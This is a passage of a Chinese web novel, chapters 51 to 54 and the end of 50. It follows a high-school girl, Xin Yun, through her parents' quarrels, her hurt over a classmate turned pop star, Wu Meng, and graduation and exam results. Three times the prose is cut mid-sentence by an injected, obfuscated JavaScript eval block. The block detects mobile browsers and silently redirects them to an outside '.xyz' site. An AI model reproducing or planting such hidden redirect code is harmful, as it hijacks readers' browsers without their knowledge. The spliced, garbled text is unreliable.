粉丝们发泄完怒气,也很快恢复了往常的模样,该花痴花痴,该控评控评,该氪金还是会氪金。 寒假还没有过半,互联网上已经没有人再讨论这件事了。 辛蕴注销了自己的微博账号,同时卸载了微博。 吴咏梅大概又和辛东福闹了矛盾,说这个年要带着辛蕴回娘家过。 吴咏梅的娘家在隔壁市下辖的一个小县城下面的小农村里,她和娘家的关系不算特别亲近,嫁到南城市这边后几乎很少回去。 在辛蕴的记忆里,她只在很小的时候去过几回外婆的家,那是一个很偏僻的小山村,周围有很多竹林和茶叶地,外婆总是很喜欢背着年幼的她去河边洗衣服,朝阳落在清澈的河水上,看起来波光粼粼。 那是她童年记忆里一个很温暖的篇章。 吴咏梅并不是说气话,除夕夜的前一天,她真地拎着大包小包的行李,带着辛蕴辗转许久回到了那个小山村。 山里网络不好,辛蕴在那里度过了一个很平静的假期,整整十几天的时间,她几乎很少碰手机。 寒假结束,再次回到南城,辛蕴的心情已经平复了很多。 过了元宵节,一中如期开学。 那天她表情平静地走进教室,没有理会班上其他同学看过来的目光。 有了一个勇敢的开始,后面的事情似乎就变得容易很多了。 虽然同学们依然会在背后说起这件事,但至少当着辛蕴的面已经没有人再提了。 就像当初王嘉禾偷班费那件事一样,时间一长,所有的事情都会被淡忘。在这个过程中,辛蕴要打败的只有她自己的怯懦和软弱。 上次期末考辛蕴的成绩不太理想,她强迫自己把所有的注意力都放在学习上,几乎是没日没夜地学习,生怕给自己留下丝毫空闲的时间。 大半个学期很快就过去了,南城市的夏天也来了。 再次听到邬蒙这个名字,是在一个阳光明媚的午后。 那天辛蕴和黄丽君一起去一中对面的奶茶店里买奶茶。 店内的电视屏幕里放着广告。 一个熟悉的声音响起来。 她本能地抬头去看,看到了邬蒙的脸。 屏幕里他脸上带着青春洋溢的灿烂笑容,口中流畅地说着广告词,看起来比以前更像个明星了。 旁边的黄丽君显然也注意到了,她转头看向身旁的辛蕴,表情有些迟疑,说:“辛蕴,你现在和邬蒙还有联系吗?” 辛蕴收回目光,看着面前的菜单,语气平静地说:“没有。” 黄丽君有些欲言又止的模样,但到底没有开口再说什么。 两人买好了奶茶,走出那家奶茶店。 黄丽君转头看着辛蕴的侧脸,终于还是没有忍住,说:“辛蕴,你知道过两天邬蒙要回学校一趟吗?” 51. 第 51 章 晚上回到家,辛蕴坐在书桌前望着窗外发呆。 外面的客厅里,吴咏梅的声音隐隐约约传过来。 这几天吴咏梅和辛东福的关系越来越紧张,以前他们俩打电话吵架的时候吴咏梅总是会注意避开辛蕴,这几天她却好像顾不上这么多了,每天晚上辛蕴都能听到她尖锐的谩骂和诅咒声。 今天晚上也是如此。 辛蕴闭上眼睛,努力地屏蔽外面传来的声音,她深吸了一口气,低头翻开面前的课本,脑子里却突然又响起今天下午黄丽君的那句话——“你知道过两天邬蒙要回学校一趟吗?” “你怎么不和那个贱女人一起去死!!!”吴咏梅尖锐的声音穿过门板传了进来。 这两个声音交织在一起,让辛蕴的太阳穴一阵猛烈的跳痛。 她猛地闭上双眼,用力揉搓着自己发紧的额头。 可是外面吴咏梅的声音却变得愈发高昂起来,那声音仿佛用指甲刮过黑板一般的刺耳。 辛蕴痛苦地抱着自己的脑袋,双手交叉紧紧箍住自己的后脑勺,紧到指节都在泛白。 心脏越跳越快,呼吸也越来越急促。 在她快要撑不下去的前一秒,辛蕴猛地从椅子上站起来,她快步拉开房门,目光直直地看着客厅里的吴咏梅。 吴咏梅被打断,握着手机,有些惊讶地看着辛蕴的方向,意识到应该是自己的声音吵到了辛蕴,那张还带着怒气的脸上挤出一个抱歉又尴尬的笑,说:“蕴蕴,是不是妈妈吵到你了?妈妈待会儿去阳台上……” “你们离婚,我跟你,以后我给你养老。”辛蕴开口打断了吴咏梅,她的声音和她的表情一样平静。 吴咏梅愣在那里,似乎被自己女儿的这句话惊到了,她站在那里,嘴巴微张,一时间一个字都说不出来。 辛蕴攥紧拳头,移开视线,清泠泠的目光定在一个虚空处,说:“人要学会狠心,有时候再难的事情只需要一瞬间的勇敢就够了。” 说完,她转身退回房间,直接关上了房门。 吴咏梅站在那里,呆呆地看着辛蕴的背影,直到手机听筒里再次传来辛东福的声音,她才回过神来。 “刚才……是蕴蕴的声音吗?”电话那边,刚才还在跟她吵得脸红脖子粗的男人气势一瞬间弱了下去,他的语气明显有些迟疑。 吴咏梅深吸了一口气,说:“是你女儿的声音。” 说完,她直接挂断了电话。 - 史振邦这些天有些头疼。 前几天他收到了年级主任的消息,说邬蒙这几天会回学校一趟,主要目的是为了帮南城一中拍个校园宣传片,再顺便参加一下即将到来的期末考试。 不过几个月的时间,邬蒙在娱乐圈的发展势头越来越猛烈,除了本身的乐队事业发展得风生水起之外,他个人甚至还参演了几部大热的影视作品,虽然大部分都只是客串的小配角,但也算是在影视圈里打开了一点知名度。 就连一向不关注娱乐圈的史振邦也在自己正在读小学的女儿口中听过好几次邬蒙的名字。 过段时间刚好是南城一中的七十周年校庆,南城一中的陈校长邀请邬蒙回学校帮忙拍摄宣传片,想借着邬蒙的热度给一中的招牌再镀上一层金。 南城一中是本省赫赫有名的重点高中,为这样的名校拍摄校庆宣传片本来就是一件很荣耀的事情,也契合经纪公司为邬蒙打造的正能量高中生歌手的形象。 双方一拍即合,邬蒙的经纪团队答应得很爽快,还说到时候会带一些专业人士过来帮忙拍摄宣传片。 作为邬蒙的班主任,史振邦当然也觉得与有荣焉,但是有一件事却让他有点担忧—— 如果邬蒙回来,势必会碰上辛蕴,上学期那件事史振邦可没忘记,到时候两人碰上,怕是会对辛蕴产生不小的影响。 马上就是期末考试了,辛蕴上学期期末考本来就没考好,这学期可不能再出岔子了。 邬蒙这个大明星当然得供起来,但辛蕴是个状元苗子,同样非常难得。 这两支祖国的花朵折了哪一个史振邦都心痛。 他正在办公室里愁眉苦脸,年级主任突然从办公室外面探进来一个圆滚滚的脑袋,说:“邬蒙的车已经到校门口了,你跟我出去接一下。” 史振邦一愣。 真是想什么来什么。 “来了,”他立刻放下手里的茶杯,麻溜地走出了办公室。 等史振邦走到校门口才发现原来除了年级主任和他之外,就连一中的陈校长本人也过来亲自迎接邬蒙了。 “邬蒙那边的工作人员告诉我们这次行程要尽量保持低调,你们俩也注意一点,看好下面的学生,千万不要闹出什么岔子。”陈校长叮嘱道。 “是是是,我都打过招呼了。”年级主任连连点头,应个不停。 话音刚落,就见校门外驶过来一辆白色的埃尔法商务车。 车辆停稳,从副驾驶位置跳出来一个穿着黑色西装的保镖,他快速走到后面拉开车门,然后又毕恭毕敬地退到一旁,目光炯炯地扫过周围的每一张脸。 被那样的目光扫一眼,史振邦心里直发毛,他移开目光,转而去看面前的那辆白色商务车,心里正琢磨着这辆车的价钱。 就见车内探出一只修韧有力的手扶住车门,紧接着一条修长的腿从车上迈下来,初夏的日光灿烂极了,邬蒙的脸暴露在那样的日光下,看起来几乎有种不真实的帅气。 虽然已经是大明星,但邬蒙今天还是乖乖地穿着一中的校服,看起来有一种返璞归真的清爽气息。 不知道是不是史振邦的错觉,他怎么觉得邬蒙身上的那件校服看起来就是比别的学生身上的校服更加气派呢? 或许是在娱乐圈历练了一番,邬蒙应对这种场合有种如鱼得水的自然感,他那边跟校长和年级主任打过招呼,又转头朝史振邦的方向看了过来,微笑着说:“史老师,好久不见。” “好久不见,好久不见。”史振邦一边笑一边连连点头。 几个老师和邬蒙带过来的几个工作人员一起簇拥着邬蒙往学校里面走去。 邬蒙这次回来主要是为了拍摄宣传片,一行人直接去了校长办公室沟通拍摄事宜。 这不是邬蒙第一次拍摄校园宣传片,只不过比起之前的那一次,这次他明显成为了宣传片的主角。 邬蒙团队带过来的导演十分专业,简单地跟一中校长讲完自己的拍摄大纲,那边机器已经架起来了。 整个拍摄工作十分丝滑,花了两个小时不到就全搞定了。 接下来就是俗套的宴请环节。 饭桌上,邬蒙团队里的工作人员倒也不摆架子,大家推杯换盏,吃得很尽兴。 只是作为主角的邬蒙倒是很少动筷子,他只是安静地坐在角落里,时不时转头看一眼窗外,有些心不在焉的模样。 明星一般都有节食的习惯,大家也都见怪不怪。 从学校的宴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832072|175609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会厅里出来,已经是下午三点多了。 邬蒙和随行的工作人员打了个招呼,让他们先回酒店,他自己则是跟着史振邦往三班的方向走。 邬蒙身上虽然穿着普普通通的校服,头上还戴着一顶棒球帽遮住了大半张脸,但还是吸引了不少同学频频回首张望。 邬蒙的经纪公司这次很低调,不仅特地挑了个上课时间到校,连拍摄工作也是悄悄进行的,但学校里人多眼杂,邬蒙已经回校的消息还是不胫而走。 史振邦也怕引起骚乱,带着邬蒙专挑人少的小道走。偶尔迎面碰到一两个学生认出了邬蒙的脸,瞪大眼睛捂着嘴巴兴奋不已。 “啊啊啊啊啊啊啊邬蒙!真的是邬蒙!!!” “好帅!!!!” 邬蒙脸上带着恰到好处的笑容,目光扫过去,语气俏皮地说:“小声点,不要让其他人发现哦。” 几个学生激动得差点都要晕过去,攥着拳头在原地蹦来蹦去。 史振邦看那几个学生一眼,又转头盯着邬蒙的侧脸。 这小子真是生了一副好皮相,难怪能吸引那么多小姑娘为他犯花痴。 “你这次回来要待多久?”史振邦问。 邬蒙答:“待到期末考试结束吧。” 史振邦眉头一跳,问:“待这么久?你那边工作不忙吗?” 邬蒙转头瞥了史振邦一眼,似笑非笑道:“怎么,史老师不想我回来?” “哈哈,怎么会怎么会?”史振邦哂笑一声,道:“你能回来也是给我们三班增光添彩!” 说话间,两人走到三班教室门口。 三班的同学早就听到了风声,明明是下课时间,却没有一个人离开教室,都坐在位置上翘首以盼。 史振邦脸上的神情一瞬间切换,他板着一张脸,一个人先走了进去,站在讲台上,高声道:“大家保持安静,我有话要对大家说,待会儿大家声音小一点……” 可底下学生们的视线都看着教室门口的方向,完全不在意他讲了什么。 史振邦无奈地耸耸肩,朝门口道:“邬蒙同学,你进来吧。” 一瞬间,教室里爆发出了一阵猛烈的欢呼尖叫声,那声音几乎要把教室的天花板掀翻。 在这山呼海啸般的声音中,邬蒙迈进了三班的教室。 同学们完全忘记了刚才史振邦的叮嘱,尖叫的声音更大了,一时间吸引来了周围几个班的同学,他们围在三班教室外面,争着抢着朝里面张望。 在这狂热躁动的气氛里,史振邦的目光不自觉看向了教室里的某个方向。 随即,微微一滞—— 辛蕴不在座位上。 他在讲台上站了一会儿,上课铃声敲响了,辛蕴还是没有回来。 史振邦走到辛蕴的位置旁,问周围的同学:“辛蕴呢?” 那几个同学你看我我看你,都摇摇头,说不知道。 这时班里突然站起来一个女生,道:“老师,辛蕴上体育课的时候把脚扭了,她今天想请假休息一天。” 史振邦认出来这是和辛蕴关系很好的一个女同学。 他点点头,说知道了。 一个有些蹩脚的说辞。 史振邦暗自叹了一口气。 他的目光又看向已经在最后一排落座的邬蒙。 和对方明显有些阴沉下去的眼神撞了个正着。 史振邦的眉毛再次猛地一跳。 哎,这都叫什么事啊。 52. 第 52 章 因为脚扭伤,辛蕴在家里休养了好几天。 吴咏梅对此颇有怨言,毕竟她看辛蕴的脚好像也没什么问题,根本不需要在家里养这么长时间。 要知道这学期结束就升高三了,现在正是分秒必争的时候,怎么能在家里歇好几天不去学校上课呢? 但辛蕴每天按时按点地起床,作息时间还和上学的时候一样,只不过把学习的地方从学校教室换成了家里。 看辛蕴每天坐在书桌前埋头苦读的模样,吴咏梅也不好真的多说什么。 毕竟学习这件事,辛蕴从来不需要让家长操心。 黄丽君很仗义,说是要报答辛蕴给她带了一年豆浆的恩情,这几天她每天晚自习之前都会过来一趟,把当天各科老师发下来的试卷习题还有一些课堂笔记带给辛蕴。 今天也是如此,下午五点四十几分,她准时按响了辛蕴家的门铃。 吴咏梅把门打开,看到是黄丽君,立刻眉开眼笑地把她迎进来,说:“快进来,外面热,阿姨今晚炖了黄豆猪蹄汤,特别鲜,待会儿你多喝点。” 黄丽君也不客气,甜蜜蜜地应了一声:“好的,阿姨,你真好。”跟吴咏梅简单地打了个招呼,她抱着书包小碎步跑进了辛蕴的房间。 辛蕴刚收拾好书桌,正准备站起来吃晚饭。 “我靠,外面真热!”黄丽君拖过来一把椅子,一屁股坐了下来,一边擦着额头的汗,一边从书包里掏出一沓厚厚的试卷和笔记,扯着嗓子说:“今天数学老师简直发了疯,竟然布置了两张试卷!还有历史也是,也有两张试卷要写!天呐,后天就要期末考了,他们布置这么多作业干什么?!!简直要疯了!!!” 辛蕴走到旁边,按了几下墙上的空调按钮,将房间的空调温度打低了几度。 黄丽君喘着粗气,弯弯眼睛,看着辛蕴说:“蕴蕴,你真好。” 辛蕴又出去拿了一瓶冰汽水,递到黄丽君手里,这才坐到书桌前,低头翻着她带过来的试卷和笔记。 黄丽君看辛蕴认真翻阅着自己字迹潦草的笔记,脸上的表情变得有些赧然,说:“我字太丑了,仅供参考,仅供参考,哈哈哈。” 辛蕴转头看向她,语气认真又诚恳:“怎么会呢?你天天帮我送作业和笔记过来,我真的很感激。” 黄丽君摆摆手,有些不好意思:“这算什么?你以前不还是天天给我带豆浆嘛,咱们这叫礼尚往来!”她“咕咚”一声咽下一大口冰汽水,满足地叹一口气,又说:“再说了,每天过来还能吃上阿姨做的饭,我巴不得呢。” 辛蕴笑了笑,说:“那你以后都来我家吃晚饭,我妈妈很喜欢你。” 黄丽君又是摆手又是摇头的,说:“那不行,便宜不能天天占,再说了,天天吃山珍海味,偶尔确实挺想吃点垃圾食品的。”她目光看向门外,声音矮了一点,冲辛蕴挤眉弄眼的,说:“我这几天天天吃阿姨做的饭,现在还真想搞碗麻辣烫吃吃,哈哈哈。” 这完全不能怪黄丽君,吴咏梅做饭讲究,食材用的都是最好的,但是她最近几年沉迷养生,做菜几乎不放调料,清淡得不能再清淡,这样的饭偶然吃个几次还行,天天吃真的要把人吃得断绝七情六欲了。 辛蕴也深有同感。 两人心照不宣地笑出了声。 像是想起了什么,黄丽君的目光落在辛蕴的脸上,犹豫道:“对了……有件事,我……” 辛蕴看她这欲言又止的模样,猜到了可能和邬蒙有关,脸上的笑容也退了下去,转头去翻桌上的试卷。 黄丽君也察觉到辛蕴现在大概并不想提起邬蒙这个人,但她犹豫了片刻,决定还是直接讲出来:“蕴蕴,邬蒙今天没来学校,好像是回帝都了。” 辛蕴愣了一下。 一瞬间,心中泛起一股莫名的滋味。 她转头看向黄丽君,问:“他不是要考完期末考试再走吗?”话一出口,似乎是意识到自己暴露了什么,又立刻住了嘴。 好在黄丽君也没追着开“你不是说不关注他吗,怎么对他的消息了如指掌”之类的玩笑。 “不知道,可能是帝都那边有工作要忙吧,你知道的,他现在那么火,哪有那么多时间待在学校里上课?”黄丽君摇摇头,又灌了一大口冰汽水,继续说:“再说了,他这种大明星回学校参加期末考试本来也就是走个过场,平时一节课都没听过,参加个屁的考试?” 辛蕴低头看着手边的试卷,没有说话。 黄丽君道:“本来不想在你面前说他的,但是他现在走了,我觉得你还是回来上课吧,虽然你成绩好,但是天天请假不回学校也不是个办法,老师课堂上讲的东西还挺重要的,你光靠我的破笔记肯定不行。” 辛蕴本来心情还有些压抑,但听到黄丽君这语重心长的口气,一时间又觉得有些好笑。 “好啦,我知道啦。”她合上书桌上的笔记,打趣道:“不知道是谁以前天天上课打瞌睡,现在又一口一个‘老师课堂上讲的东西还挺重要的’。” 黄丽君“噌”的一下从椅子上跳起来,笑着扑过来挠辛蕴的痒痒,张牙舞爪地说:“好啊,我千辛万苦跑过来给你送笔记,你还笑话我,看我今天会不会放过你!” - 辛蕴第二天就回一中上课了。 大明星的考试只是走个过场,但辛蕴不是,她是个普通学生,学习和考试就是她现阶段的人生当中最重要的事情。 史振邦给辛蕴留了一些复习资料,让她早读课去他办公室拿。 辛蕴抱着资料从办公室出来,在走廊里迎面碰上了宋朵朵和徐慧敏。 两人并肩走在一起,说说笑笑,看起来关系很亲密。 三人的视线撞在一起。 宋朵朵立刻移开了目光,她低着头加快脚步,一副很不想看到辛蕴的样子。 徐慧敏则还是以前那种趾高气昂的模样,她涂着亮晶晶眼影的眼皮往上一翻,白了辛蕴一眼,没给什么好脸色。 三人擦肩而过,并没有过多的眼神和言语交流。 辛蕴回到三班,早读课刚刚开始,教室里的学生还没到齐。 她刚放下书包。 “你脚好了吗?”旁边的潘青昀语气关切地问了一句。 辛蕴坐下来,语气含糊地应了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832073|175609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声:“嗯,差不多好了。” 潘青昀看着她的侧脸,从抽屉里拿出一叠东西递过来,说:“这几天你缺课挺多的,老师讲了很多新的内容,我把我的笔记复印了一份,你要是需要的话可以看看。” 辛蕴转过头,目光落在那叠笔记上。 潘青昀的字迹很飘逸,比黄丽君的字要好看很多,看起来明显是小时候学过书法。 她接过笔记,抬眼去看潘青昀的脸,客气又礼貌地说:“谢谢你。” 潘青昀嘴角微扬,说:“不客气。”他又从抽屉里掏出一个盒子,递到辛蕴面前,说:“给你的。” 辛蕴愣了一下,问:“这是什么?” 潘青昀语气有些神秘,说:“送你的康复礼物。” 辛蕴看着那个包装精致的黑色礼物盒,连连摇头,说:“不用了,不用了。谢谢你的关心,但是礼物就不用了。” 潘青昀盯着辛蕴的脸,语气真挚,说:“你就收下吧,我之前向你请教那么多问题你都耐心地回答我了,好歹你也算是我的半个‘小老师’,这个礼物就当是我送给你的小小‘拜师礼’吧。” 辛蕴的思绪因为他的这句话有一瞬间的凝滞。 印象中,好像以前也有个人说过类似的话。 她看着那个礼物盒出神。 “这个礼物我自己挑的,希望你能喜欢。”潘青昀的声音在耳边响起。 辛蕴反应过来,连忙把面前的礼物盒推了回去,说:“我给你解答问题纯粹因为你是我同桌。我和你做同桌是史老师的安排。如果你要感谢,还是感谢他吧。这个礼物我真的不能收。” 说完,不管潘青昀再说什么,辛蕴只埋头盯着自己手里的笔记本。 几天不来学校,她确实落下了很多课程,一整个早自习,她飞速地翻阅着潘青昀的笔记,对照着之前黄丽君的笔记补漏查缺。 到了大课间,广播站的音乐突然响起来。 今天要做课间操。 三班所有人都怨声载道地往外走。 突然有人喊了辛蕴一声。 “辛蕴,数学老师让你去他办公室一趟!” 辛蕴应了一声,立马调转方向逆着人群朝教师办公室的方向走。 数学老师的办公室不在这一层,在上一层楼的拐角处。 之前辛蕴没少过去接受数学老师的“开小灶”,这次估计也是有什么课外资料要给她。 学生们都在下楼往操场的方向走,三楼拐角处没有一个人影。 辛蕴走到数学老师的办公室跟前,抬起手正要敲门。 突然,角落里伸出来一只手,直接拽住她的手腕,一把将她拖了过去。 辛蕴吓了一跳,正要本能地喊出声。 “别喊。” 一个熟悉的声音从头顶传过来。 “是我。” 辛蕴愣在了那里,她呆呆地抬头看过去。 半明半暗的楼梯角落里,邬蒙背光站在她面前,他穿着卫衣,头戴兜帽,藏在阴影里的那张脸看起陌生又熟悉。 那一刻,辛蕴的心脏几乎都停止跳动了。 53. 第 53 章 阳光透过楼梯转角的玻璃窗户照进来,空气中浮沉隐隐飘动。 “为什么躲着我?”邬蒙看向她的眼神像是一只受了伤害的野猫,痛苦隐忍,又带着一股狠戾的攻击性。 辛蕴的眼睫颤动了一下,她转头看向两人身后的那扇窗,日光落进那双清泠泠的眸子里,闪灼出一点零星的碎光。 她不说话。 邬蒙的太阳穴绷得生疼,一股无法言说的情绪猛然从他心头蹿起,他顾不上许多,一手按住辛蕴的肩膀,一手捏着她的下巴,将她的脸扭了过来。 两人视线交汇。 那一刻,邬蒙看到了辛蕴眼里的泪光。 像是被人迎头泼了一盆冰水,他整个人瞬间冷静了下来。 两人沉默地对视着。 邬蒙在辛蕴的眼睛里看到了很多复杂的情绪,那些隐忍的、痛苦的、无助的、甚至是包容的情绪。 只要一眼,他就知道她这些日子以来应该跟他一样的难熬。 邬蒙今天来找辛蕴,无非是凭着一腔的激情和天真,他甚至在想——或许只要他们勇敢一次,结局就会不一样。 可是就在这一秒,他突然清醒了。 比起他的冲动,辛蕴的克制显然更有份量。 那一刻邬蒙终于不得不承认一个事实——他们并不需要勇敢,勇敢只会带来更多的伤害。 勇敢不过只是他的借口。 一个来见她一面的借口。 邬蒙有时候甚至会觉得不公平,分开的这段日子,辛蕴可以通过各种途径看到他,哪怕他们之间已经没有联系,但是她可以在很多地方看到他的脸、了解他的行踪,她可以凭借着这些慢慢地进行抽离。 可是邬蒙却没有任何办法得知辛蕴的任何消息,他的微信被她删除,他的手机里没有任何她的照片,辛蕴整个人好像一下子从他的整个世界消失了。邬蒙只能在那种突然而来的空虚和痛苦里日复一日地煎熬着,一点缓冲期都没有。 他实在忍不住了,他想要见她一面,哪怕只是远远地看一眼她。 但是辛蕴却连这个机会都不肯给。 可他知道这不是她的错,这反而是她对他的宽容。 她在包容他的孩子气和冲动。 邬蒙颓然地放开了手,整个人像是被抽空了所有精气神一般靠在了身后的白墙上。 “对不起。”他说。 辛蕴的眼泪顺着脸颊滚落下来。 她深吸一口气,抬手擦干眼泪,转身离开。 从头到尾都没有说过一个字。 - 那天之后,邬蒙一整年都没有回过南城。 又过去了一个夏天。 一个漫长的、燥热的、被浪费的夏天。 总算熬到了秋天,九月份开学之后,辛蕴所在的这一幢教学楼的气氛瞬间变得紧张起来,就连一贯松散的三班也开始变得有些不一样了。 史振邦每天早读课都会提前到班里坐堂,晚自习也经常到教室里巡逻,各种手机、平板之类的电子设备不知道收了多少,班会更是三天一大开两天一小开,虽然三班的各种烂风气已经是积重难返,但好歹也算改善了一些。 各科教师也是天天把“高三”这两个字挂在嘴边,各种模拟考和真题试卷安排得密密麻麻让人无法喘气。 教室里的气氛紧张压抑,“高考”这座大山带来的压迫感让班里每位同学的心情都变得沉重起来。 就连一向喜欢上课睡觉的黄丽君这段时间也打起精神来了,经常拉着辛蕴请教问题。 辛蕴的成绩经过几番浮沉,终于在高三这一年稳定下来,高考前的几次模拟考她都稳居全校第一的位置。 学习是一场漫长又孤独的修行,这一年以来,辛蕴活得像个苦行僧。她变得更加沉默,平时在班里几乎一句话都不说,每天两点一线,像个不知疲倦的机器人。 到了五月底,高三各班开始组织学生们拍毕业照。 三班的文艺委员是个性格活泼的女生,在一次班会上她提出拍毕业照的时候想让班里的同学都穿jk制服,理由是一中的校服太丑了,拍毕业照不好看。 班里有男生起哄。 “哟,你们女生穿jk,那我们男生穿啥?” “不能光你们女生美美的,我们男生就穿丑校服吧?我们也要穿jk!” “老土,你们男生穿的那叫dk,懂不懂?” 史振邦在这方面相当开明,直接表示要是班里同学投票通过就可以搞。 都是爱美的青春期少男少女,哪能有不同意的? 大家很快就交齐了班费,由文艺委员统一下单,班里每个人都买了一身好看的学生制服。 到了拍毕业照的那天,辛蕴换上衣服准备去学校。 房门突然被敲响了。 “蕴蕴,我给你买了一个新玩意。”辛东福从门外探进来一个脑袋,脸上的笑容有些讨好,说:“听说你要去拍毕业照,老爸给你买了一台相机,你跟同学们多拍点照片纪念一下。” 辛蕴的目光落在辛东福递过来的那台富士相机上,停留几秒,说:“谢谢。”她接过相机,没有多说什么,直接出了门。 比起高二那一年夫妻两人的频繁冲突,辛东福和吴咏梅在辛蕴读高三的这一年里几乎没有什么争吵,尤其是越临近高考,家里的气氛愈发的融洽。 但辛蕴明白这不过是暴风雨来临前的风平浪静。 有好几次她半夜起来去厨房倒水喝的时候都能听到主卧里传来吴咏梅压抑的哭声。 所有人都在说“高考完,一切都好了”。但辛蕴知道,高考完了,有些事情还是不会变好。 拍毕业照的地方是一中升旗台正前方的一块空地,有工作人员用钢架搭出了一个阶梯式的台子,前面还摆着几张凳子。 辛蕴过去的时候高三二班的同学们正在拍。 二班的同学也没有老老实实地穿校服,他们穿着颜色统一的汉服,女生们清秀端庄,男生儒雅斯文,风一吹,衣袂翩翩,看起来像是在拍电视剧。 等到二班拍完,就轮到三班了。 摄影师组织着班里的同学按照个子高低依次站好,个子高的男生站在后面,个子矮的女生站在前面,最前排是任课老师和校长的位置。 今天情绪最高的人是史振邦,他一脸喜气洋洋的模样,一直站在最前面帮着摄影师协调站位。终于排好了位置,他抬手看了一眼手表,转头过去跟摄影师说了句什么。 摄影师点点头,冲他比了一个“ok”的手势。 辛蕴站在第二排的位置,目光望向天际处飘浮的几朵白云。 今天的天气很好,天空澄澈,阳光灿烂,落在周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832074|175609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 围同学们身上的白衬衫上,洋溢着一种蓬勃的朝气。 她正望着远处出神发呆。 突然,不知道是谁喊了一声—— “邬蒙!” “那是邬蒙吗?!” “天呐,真的是他!!!” 辛蕴一愣,本能地扭头看过去—— 就见操场那边一个人影朝这边跑过来。 他跑得飞快,风撩起他额头前的碎发,露出来的那张脸比日光还要耀眼。 真的是邬蒙。 他回来了。 辛蕴愣在那里。 那一刻,耳边急驰而过的风声掩盖了她猛烈的心跳声。 邬蒙跑到跟前,歉意地冲大家笑,说:“不好意思,我迟到了。”他额头上的汗珠在阳光下发着光,看起来应该确实很匆忙。 史振邦脸上的笑容都快要溢出来了,他站在最前面,朝着大家高声道:“好好好,人到齐了,咱们拍照吧!” 所有人都站好。邬蒙站在了最后一排的最边上的位置。 摄影师弯腰,凑近支架上的相机,做了一个手势。 “好,大家看我手这里,三、二、一!” 或许是今天的阳光太刺眼,辛蕴只觉得那一瞬间有什么东西刺了一下她的眼珠,她努力地睁大双眼,保持着嘴角向上的弧度。 拍完毕业照,同学们三三两两地聚在一起合影留恋。 黄丽君抓着辛蕴拍了很多张照片,又扭头去找别的要好的同学去拍照。 太阳有些大,晒得人几乎睁不开眼,辛蕴背着相机走到了旁边的树荫下面,目光不自觉看向了操场上的某个方向。 不远处,邬蒙被几个男生簇拥着,他不知道在说些什么,眉眼飞扬,意气风发。 周围的同学虽然在拍照,但注意力多多少少还是不自觉地被他吸引。 邬蒙站在众人中间,理所当然地享受着大家的瞩目和关注。 他的目光从始至终都没有往辛蕴这边看一眼。 所有人都看着邬蒙,没有人注意到这里。 辛蕴的心跳得有些快。 她站在被树影覆盖的角落里,举起相机,将镜头对准了那个方向。 人群中,邬蒙像是察觉到了什么,突然望向了她。 阳光下,他的眼神灿烂又温柔。 辛蕴的手一抖,一张照片失了焦。 她像是被烫到了似的,放下手里的相机,僵硬地冲他弯弯嘴角。 两人的视线隔着一片灼热的阳光,短暂相交又很快错过,只剩下彼此脸上那个客气又疏离的微笑。 - 毕业照在高考前的最后一个晚自习发下来。 那天晚上,辛蕴坐在书桌前看着那张毕业照。 照片上,少男少女们穿着漂亮的学生制服,白色衬衫,及膝的格子短裙和黑色西装长裤,背后是迎风招展的红旗和一片澄澈的蓝天,画面看起来美好得像是一部青春电影。 唯一美中不足的是——大家明显精心打扮过,面对镜头脸上的表情多多少少有些不自然。包括她自己,虽然已经尽力保持嘴角的弧度,但看起来还是有些僵硬。 只有班上那个唯一的大明星穿着朴素的校服,松松垮垮地站在那里。 照片定格的一瞬间。 他咧着嘴角,笑得灿烂又干净。 54. 第 54 章 高考那两天南城市下了很大的雨。 那是一个很漫长的雨季,直到分数出来,南城市的天空还是阴沉沉的。 南城一中在这个燥热潮湿的雨季里迎来了两个好消息。 第一个好消息,也是大家最关心的,一中的大明星同学——邬蒙这次考得很好,作为一个日常表安排得满满当当的大明星,他这次的高考分数达到了本科线,网上盛传他应该会去帝都的音乐学院。粉丝们与有荣焉,一时间乐开了花,全都在撒花庆祝。 第二个好消息,这次省文科状元依旧花落南城一中,市理科状元也在南城一中,虽然没能复刻去年文理双省状元的辉煌历史,但这也是一个非常不错的战绩了。 分数出来那天,辛东福和吴咏梅高兴得差点蹦起来。 接下来的几天,辛东福的手机就没停过,从早到晚,他昂着脑袋站在阳台上,扯着嗓门回电话—— “喂,史老师啊,哈哈哈哈,同喜同喜!我们家蕴蕴能有今天多亏了您的栽培,明天我在同德兴摆一桌,到时候陈校长也会来,史老师您一定要赏光过来喝一杯啊!” “记者?采访省状元的父母?可以啊!当然可以采访!你什么时候过来?” “赞助?我们家不需要赞助,她老子有钱给她读书!” …… 